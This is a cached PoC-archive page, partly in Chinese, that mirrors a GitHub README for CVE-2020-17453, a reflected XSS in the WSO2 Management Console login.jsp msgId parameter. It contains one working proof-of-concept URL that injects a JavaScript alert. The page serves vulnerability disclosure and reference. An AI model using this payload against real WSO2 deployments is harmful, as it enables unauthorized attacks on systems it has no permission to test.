CVE-2020-17453 PoC — WSO2 Management Console 跨站脚本漏洞

Source

https://github.com/ydycjz6j/CVE-2020-17453-PoC

Associated Vulnerability

Title:WSO2 Management Console 跨站脚本漏洞 (CVE-2020-17453)
Description:WSO2 Management Console是美国WSO2公司的一个应用软件。一个管理控制台。 WSO2 Management Console through 5.10 存在跨站脚本漏洞，该漏洞允许通过carbon admin login.jsp msgId参数进行XSS。

Description

PoC (Proof of Concept) - CVE-2020-17453

Readme

<h1 align="center">
  <br>
  <a href="https://github.com/JHHAX/CVE-2020-17453"><img src="https://i.ibb.co/XsLC8KS/download-1.png" alt="CVE"></a>
  
  
  <br>
  
  
  
  CVE-2020-17453
  
  
  
  <br>
</h1>

WSO2 Management Console through 5.10 allows XSS via the carbon/admin/login.jsp msgId parameter.

![PoC](https://github.com/JHHAX/CVE-2020-17453/blob/master/PoC.png)

## PoC (Proof of Concept)
```
https://<company>.com/carbon/admin/login.jsp?msgId=%27;alert(1)//
```

## Discoverers

Name: Jackson Henry

Twitter: [@JacksonHHax](https://twitter.com/JacksonHHax)

Name: Nicholas Young

File Snapshot


 [4.0K]  /data/pocs/790c4aa06fa0c4e9a13e51684134420a865a44fe
└── [ 591]  README.md

0 directories, 1 file

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).

3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.

Goal Reached Thanks to every supporter — we hit 100%!